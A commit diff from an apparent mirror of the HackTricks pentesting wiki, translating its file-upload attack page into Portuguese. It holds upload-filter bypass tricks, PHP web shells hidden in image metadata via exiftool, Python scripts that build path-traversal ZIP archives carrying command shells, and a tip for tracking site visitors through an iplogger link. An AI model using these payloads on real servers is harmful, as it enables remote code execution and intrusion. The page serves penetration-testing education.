mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 16:39:32 +00:00
Translated ['pentesting-web/file-upload.md'] to pt
This commit is contained in:
parent
7291a29c88
commit
68e48871b3
1 changed files with 11 additions and 13 deletions
|
@ -31,11 +31,11 @@
|
|||
6. **Adicione alguns caracteres especiais no final** da extensão_: %00, %20, \(vários pontos\)...._
|
||||
1. _file.php%00_
|
||||
2. _file.php%20_
|
||||
3. _file.php...... --> No Windows, quando um arquivo é criado com pontos no final, eles serão removidos \(assim você pode burlar filtros que verificam a extensão .php\)_
|
||||
3. _file.php...... --> No Windows, quando um arquivo é criado com pontos no final, eles serão removidos \(assim você pode burlar filtros que verificam a extensão .php\)
|
||||
4. _file.php/_
|
||||
5. _file.php.\_
|
||||
7. Bypass de verificações de Content-Type definindo o **valor** do **header Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
|
||||
8. Bypass de verificação de número mágico adicionando no início do arquivo os **bytes de uma imagem real** \(confundir o comando _file_\). Ou introduza o shell dentro dos **metadados**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
|
||||
7. Bypass em verificações de Content-Type definindo o **valor** do **header Content-Type** para: _image/png_, _text/plain_, application/octet-stream_
|
||||
8. Bypass na verificação de magic number adicionando no início do arquivo os **bytes de uma imagem real** \(confundir o comando _file_\). Ou introduza o shell nos **metadados**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
|
||||
1. Também é possível que os **bytes mágicos** estejam sendo apenas **verificados** no arquivo e você pode defini-los **em qualquer lugar do arquivo**.
|
||||
9. Usando **fluxo de dados alternativo NTFS \(ADS\)** no **Windows**. Nesse caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor \(por exemplo, "file.asax:.jpg"\). Esse arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão "**::$data**" também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para burlar restrições adicionais \(por exemplo, "file.asp::$data."\)
|
||||
10. **Faça o upload** da backdoor com uma **extensão permitida** \(_png_\) e torça por uma **má configuração** que execute a backdoor
|
||||
|
@ -47,7 +47,7 @@
|
|||
3. Faça o upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||||
4. Faça o upload de um arquivo que não possa ser facilmente excluído, como **“…:.jpg”** no **NTFS**. \(Windows\)
|
||||
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. \(Windows\)
|
||||
6. Faça o upload de um arquivo no **Windows** usando **nomes** **reservados** \(**proibidos**\) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
||||
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** \(**proibidos**\) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
||||
|
||||
Tente também **fazer o upload de um executável** \(.exe\) ou um **.html** \(menos suspeito\) que **executará código** quando aberto acidentalmente pela vítima.
|
||||
|
||||
|
@ -99,7 +99,7 @@ Observe que **outra opção** que você pode estar pensando para contornar essa
|
|||
* Upload de arquivo **JS** + **XSS** = [exploração de **Service Workers**](xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE em upload de svg**](xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Redirecionamento aberto** através do upload de arquivo svg](open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* [Famosa vulnerabilidade de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](ssrf-server-side-request-forgery.md). Se essa **imagem** for ser **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de todos os visitantes**.
|
||||
|
||||
Aqui está uma lista dos 10 principais itens que você pode alcançar fazendo upload \(de [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\):
|
||||
|
@ -149,13 +149,13 @@ payload = '<?php system($_GET["cmd"]); ?>'
|
|||
create_malicious_zip(file_path, payload)
|
||||
```
|
||||
|
||||
This Python code creates a malicious ZIP file by using the `zipfile` module. The `create_malicious_zip` function takes two parameters: `file_path`, which specifies the path and name of the ZIP file to be created, and `payload`, which represents the malicious payload to be included in the ZIP file.
|
||||
This Python code creates a malicious ZIP file by using the `zipfile` module. The `create_malicious_zip` function takes two parameters: `file_path` and `payload`.
|
||||
|
||||
Inside the function, a ZIP file is created using the `zipfile.ZipFile` constructor with the `w` mode, which means the file will be opened for writing. The `with` statement ensures that the file is properly closed after the block of code is executed.
|
||||
Inside the function, a ZIP file is created using the `zipfile.ZipFile` constructor. The `writestr` method is then used to add a file named `../payload.php` to the ZIP file, with the contents being the `payload` provided.
|
||||
|
||||
The `zip_file.writestr` method is used to add a file to the ZIP archive. In this case, the file is named `'../payload.php'`, which is a relative path that attempts to escape the current directory. The `payload` variable contains the content of the file, which is a PHP code that executes a system command based on the value of the `cmd` parameter passed through the URL.
|
||||
The `file_path` variable specifies the name and path of the resulting malicious ZIP file, while the `payload` variable contains the PHP code that will be executed when the `payload.php` file is accessed.
|
||||
|
||||
Finally, the `create_malicious_zip` function is called with the desired `file_path` and `payload` values to create the malicious ZIP file.
|
||||
To use this code, simply call the `create_malicious_zip` function with the desired `file_path` and `payload` values.
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -223,13 +223,11 @@ Apenas um passo restou: Faça o upload do arquivo ZIP e permita que a aplicaçã
|
|||
|
||||
Podemos reutilizar o script anterior para criar um arquivo zip.
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
import zipfile
|
||||
from cStringIO import StringIO
|
||||
from io import BytesIO
|
||||
|
||||
def create_zip():
|
||||
f = StringIO()
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||||
z.close()
|
||||
|
|
Loading…
Reference in a new issue